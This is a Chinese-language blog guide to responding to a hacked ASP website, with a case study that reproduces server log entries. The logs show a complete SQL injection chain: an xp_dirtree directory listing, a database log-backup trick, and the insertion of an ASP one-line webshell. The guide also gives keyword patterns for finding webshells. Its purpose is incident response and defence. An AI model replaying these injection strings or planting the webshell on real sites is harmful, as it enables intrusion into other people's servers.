很多朋友都遇到过网站被黑,插入恶意代码的经历。可能大家以为只要把这些代码删除了既可,但是,道高一尺,魔高一丈,如果只是简单删除代码以后,绝大部分的朋友会再次遇到……事实上,要很好地应对网站入侵,老猪总结了几个步骤如下,并根据以下几个步骤写了份案例附后,希望对大家有所帮助:
一、下载服务器日志,ftp传输日志。
当发现网站被黑以后,首先要做的就是下载日志文件,包括服务器日志和ftp传输日志,服务器的日志位置一般是位于C:\WINDOWS \system32\Logfiles\W3SVC1。ftp日志则取决于你的服务器所安装的ftp软件,比如SERVE-U默认是在安装目录下。但是,这边提醒一点,既然你今天看到这篇文章,服务器的各种日志,一定要转移出默认的地方,同时设置一下删除保护。对于虚拟主机用户。一般你的空间提供商都会提供3天之内的日志以及1个月的ftp日志下载,具体可以咨询你的空间提供商。下载日志这点很重要。它是我们接下去找出漏洞的关键。
二、替换所有恶意代码
进行下载日志的同时,应该开始删除恶意代码,以免影响用户体验。如果你拥有服务器,推荐你使用老马写的findstr,把恶意插入的代码批量替换掉。如果你使用虚拟主机,有部分虚拟主机提供批量替换功能。如果你的虚拟主机没有提供这样的功能(破烂货,赶快换掉),那你可以去下载一个雷客图ASP站长安全助手。来进行此项操作。这项操作要谨慎点,因为是对内容直接进行替换,稍微一马虎可能让你的网页内容面目全非。
三、下载到本地杀毒,或者服务端杀毒
接下来,我们要开始找出入侵的幕后黑后了。记住,发现病毒先不要忙着删除。如果你拥有个人服务器,可以开启杀毒软看看,如果是使用虚拟主机可以下载到本地,用杀毒软件杀,或者用我刚才说的那个ASP站长安全助手。发现病毒以后,刚才说的,不要忙着杀掉。查看那个病毒文件的修改时间。这个步骤是最关键的。一般对方不会只留一个后门,可能会有漏网之鱼。这时你可以搜索刚找到的那个病毒文件的修改时间,检查这段时间建立或者修改了什么文件。那些文件都是嫌疑犯,统统记住他们的文件名,注意,这边没有让你删除,要先记住文件名!
这边要提到一种情况,对方的木马很隐秘,找不到,这个时候,你需要在所有的网页文件中,查找一些木马常用的词,比如asp木马,一般会有这些字符出现在木马中,比如“木马”,“免杀”,“w”,“shell”等等字符,有出现这些字符的,可能为对方留下的后门
四、同时,查找日志中的敏感词,如“select”,“and%201=1”,获得对方ip
获得对方的木马的文件名以后,这个时候要用到我们刚才的日志了来找到对方ip,看对方进行了什么操作。以某次反入侵经历例,通过查找特征字符,发现对方使用swz.asp这个木马文件作为后门。于是在日志中搜索swz.asp,发现对方入侵的ip,当然,如果你在上一个步骤没有找到木马,也可以通过查找““select”,“and%201=1”,这样一些入侵的蛛丝马迹,获得对方ip为220.162.26.96
五、在日志中查找该ip,了解对方入侵的过程。
在这些日志中查找“220.162.26.96”这个字符串。发现以下一些记录://后面为记录
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[41425] 2007-07-12 03:52:40 W3SVC629501503 http://*******/ GET http://*******/123.asp cid=187&id=1626 and exists (select * from sysobjects) -- 80 - 220.162.26.96 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64
//123.asp出现漏洞,对方使用注入语句在获得权限
[41492] 2007-07-12 03:52:56 W3SVC629501503 http://*******/ GET http://*******/123.asp cid=187&id=1626;DROP TABLE D99_Tmp;CREATE TABLE D99_Tmp(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) Insert D99_Tmp exec master..xp_dirtree "D:\", 1,1-- 80 - 220.162.26.96 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64
[41494] 2007-07-12 03:52:56 W3SVC629501503 http://*******/ GET http://*******/123.asp cid=187&id=1626 And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From D99_Tmp)=0 --|57|80040e07|将_varchar_值_‘|13|‘_转换为数据类型为_int_的列时发生语法错误。 80 - 220.162.26.96 Internet+Explorer+6.0 500 0 0
[47001] 2007-07-12 04:23:06 W3SVC629501503 http://*******/ GET http://*******/123.asp cid=187&id=1626;DROP TABLE D99_Tmp;CREATE TABLE D99_Tmp(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) Insert D99_Tmp exec master..xp_dirtree "e:\wwwroot\", 1,1-- 80 - 220.162.26.96 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64
//利用了master..xp_dirtree
[47635] 2007-07-12 04:24:47 W3SVC629501503 http://*******/ GET http://*******/123.asp cid=187&id=1626;alter database mytable set RECOVERY FULL-- 80 - 220.162.26.96 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+KuGooSoft) 200 0 0
[47699] 2007-07-12 04:25:12 W3SVC629501503 http://*******/ GET http://*******/123.asp cid=187&id=1626;create table ahcmd (a image)-- 80 - 220.162.26.96 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+KuGooSoft) 200 0 0
[47754] 2007-07-12 04:25:25 W3SVC629501503 http://*******/ GET http://*******/123.asp cid=187&id=1626;backup log mytable to disk = ‘c:\ahcmd‘ with init-- 80 - 220.162.26.96
[47758] 2007-07-12 04:25:31 W3SVC629501503 http://*******/ GET http://*******/123.asp cid=187&id=1626;insert into ahcmd (a) s (‘<%execute request("")%>‘)-- 80 - 220.162.26.96
//插入一句话木马
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
答案揭晓了,这是由于老猪之前的程序员所编写的页面123.asp传入参数过滤不严格,导致了对方在服务器上为所欲为,同时,从日志上也可以看到,master..xp_dirtree这个存储过程也起到了助纣为虐的作用。
七、弥补对方入侵漏洞。
接着,根据日志的提示,修改123.asp页面,字符串参数过滤单引号,数字参数格式化为数字类型。在查询分析器使用sp_dropextendedproc ‘xp_dirtree‘删除掉它,同时删除掉其他的一些危险的存储过程。
八、修改ftp密码,超级管理员密码,3389登陆端口,用户名,密码。
接着就是善后了。对方如果已经入侵了你的站点,这些密码都不再是密码,因此最保险的做法就是全部改掉。
九、将对方的ip,入侵时间,日志提交给当地网警。Ping对方使用的僵尸网站,查询对方网站所用ip,打电话到对方网站所在地的通信管理局投诉。
毛主席教导我们,“宜将剩勇追穷寇,不可沽名学霸王”,本着除恶务尽的原则,一定要报案,这需要你保存对方入侵的日志,还有ip提供给警方。同时,如果对方插入了恶意代码里面包含网址,例如www.abc.com 那恭喜你,整他的法子更多了,可以向信息产业部报案,可以ping这个站点,比如ping www.abc.com返回的ip为 222.222.222.222是位于广东揭阳的,那你还可以打电话到广东揭阳的通信管理局投诉。这个时候,就是你尽情发泄的时候了。